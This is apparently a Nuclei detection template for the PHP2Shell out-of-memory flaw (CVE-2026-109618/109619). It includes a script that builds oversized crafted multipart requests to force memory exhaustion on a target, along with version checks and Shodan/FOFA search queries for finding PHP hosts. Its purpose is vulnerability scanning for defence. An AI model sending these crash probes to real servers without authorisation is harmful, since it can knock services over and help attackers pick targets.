id: CVE-2026-109618 info: name: PHP2Shell (CVE-2026-109618/CVE-2026-109619) - Active Crash Detection author: lcfr_hax,assetnote,princechaddha,s4e-io severity: critical description: | PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE). impact: | Affected PHP installations may allow an unauthenticated attacker to corrupt process memory, disclose sensitive worker memory, or achieve remote code execution as the web worker account. remediation: | Upgrade to PHP 8.2.35, 8.3.36, 8.4.27, 8.5.12, or later. PHP 8.1 and older are end-of-life upstream; upgrade to a supported branch or apply vendor backports for both CVE-2026-109618 and CVE-2026-109619. reference: - https://www.php.net/index.php#2026-10-21-5 - https://www.php.net/archive/2026.php - https://cert.europa.eu/publications/security-advisories/2026-018 - https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w - https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp - https://www.wiz.io/blog/php2shell-php-rce - https://github.com/assetnote/php2shell-scanner classification: cvss-metrics: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N cvss-score: 9.2 cve-id: CVE-2026-109618 cwe-id: CWE-416 cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:* metadata: verified: true max-request: 5 vendor: php product: php shodan-query: 'http.component:"PHP"' fofa-query: 'header="X-Powered-By: PHP"' tags: cve,cve2026,php,php2shell,rce,intrusive flow: | function repeatStr(s, n) { var r = ''; while (n > 0) { if (n & 1) r += s; s += s; n >>= 1; } return r; } function buildProbe(sizeMib, parts) { var size = sizeMib * 1048576; var nested = repeatStr('[a]', 62); var part = '--\nContent-Disposition:name=a[]' + nested + ';filename=\n\n'; var base = repeatStr(part, parts); var fillerCount = Math.floor((size - base.length) / 3); var filler = repeatStr('x:\n', fillerCount); var body = '--\n' + filler + base.substring(3); return body.substring(0, body.length - 1); } function versionVerdict(v) { if (!v) return null; var m = v.match(/^(\d+)\.(\d+)\.(\d+)(.*)$/); if (!m) return null; var major = parseInt(m[1]), minor = parseInt(m[2]), patch = parseInt(m[3]); if (major < 8 || (major === 8 && minor < 2)) return 'EOL'; var fixed = {'8.2': 35, '8.3': 36, '8.4': 27, '8.5': 12}; var key = major + '.' + minor; if (!(key in fixed)) return null; if (patch < fixed[key]) return 'VULNERABLE'; if (patch === fixed[key] && /^[-_.]?(dev|alpha|beta|rc)/i.test(m[4])) return 'VULNERABLE'; return 'FIXED'; } var PROBES = [[1, 4000], [8, 1020], [20, 1020]]; var REJECTED = {400:1, 403:1, 411:1, 413:1, 414:1, 417:1, 422:1, 429:1, 431:1}; http('control'); var ctrlStatus = parseInt(template['ctrl_status']); if (!ctrlStatus) { } else if (ctrlStatus >= 500) { } else { var poweredBy = template['ctrl_powered_by'] || ''; var matchedPHPError = false; for (var i = 0; i < PROBES.length; i++) { set('probe_body', buildProbe(PROBES[i][0], PROBES[i][1])); var matched = http('probe'); if (template['probe_powered_by']) { poweredBy = template['probe_powered_by']; } if (matched) { matchedPHPError = true; break; } var probeStatus = parseInt(template['probe_status']); if (probeStatus in REJECTED) { break; } if (versionVerdict(poweredBy) === 'FIXED') { break; } } var verdict = versionVerdict(poweredBy); if (!matchedPHPError && (verdict === 'VULNERABLE' || verdict === 'EOL')) { set('version_verdict', verdict === 'EOL' ? 'eol' : 'true'); set('powered_by_ver', poweredBy); http('version-verdict'); } } http: - id: control raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=x Connection: close --x Content-Disposition:name=a;filename= matchers: - type: dsl dsl: - "true" internal: true extractors: - type: dsl name: ctrl_status dsl: - "status_code" internal: true - type: regex name: ctrl_powered_by part: header group: 1 regex: - '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+[^\s;,)]*)' internal: true - id: probe raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary= Connection: close {{probe_body}} matchers: - type: dsl name: memory-exhaustion dsl: - 'contains(body, "Allowed memory size of") && contains(body, "bytes exhausted") && contains(body, "Unknown")' extractors: - type: dsl name: probe_status dsl: - "status_code" internal: true - type: regex name: probe_powered_by part: header group: 1 regex: - '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+[^\s;,)]*)' internal: true - type: regex name: version part: header group: 1 regex: - '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+(?:(?:[-+~_A-Za-z]|\.[A-Za-z])[0-9A-Za-z._+~-]*)?)(?:[ \t;,)\r]|$)' - id: version-verdict raw: - | GET / HTTP/1.1 Host: {{Hostname}} Connection: close matchers: - type: dsl name: version-vulnerable-no-crash dsl: - 'version_verdict == "true"' - type: dsl name: version-eol-branch dsl: - 'version_verdict == "eol"' extractors: - type: regex name: version part: header group: 1 regex: - '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+(?:(?:[-+~_A-Za-z]|\.[A-Za-z])[0-9A-Za-z._+~-]*)?)(?:[ \t;,)\r]|$)' # digest: 4a0a00473045022100e9ecfcc443ec58db31fde5a86789ac1c8c98488cc28ee743ba6c353450458e7d02201f23089d24b8488c457dfd8365c29cf0be0fd2a922e9fce862943bf03216e9d1:922c64590222798bb761d5b6d8e72950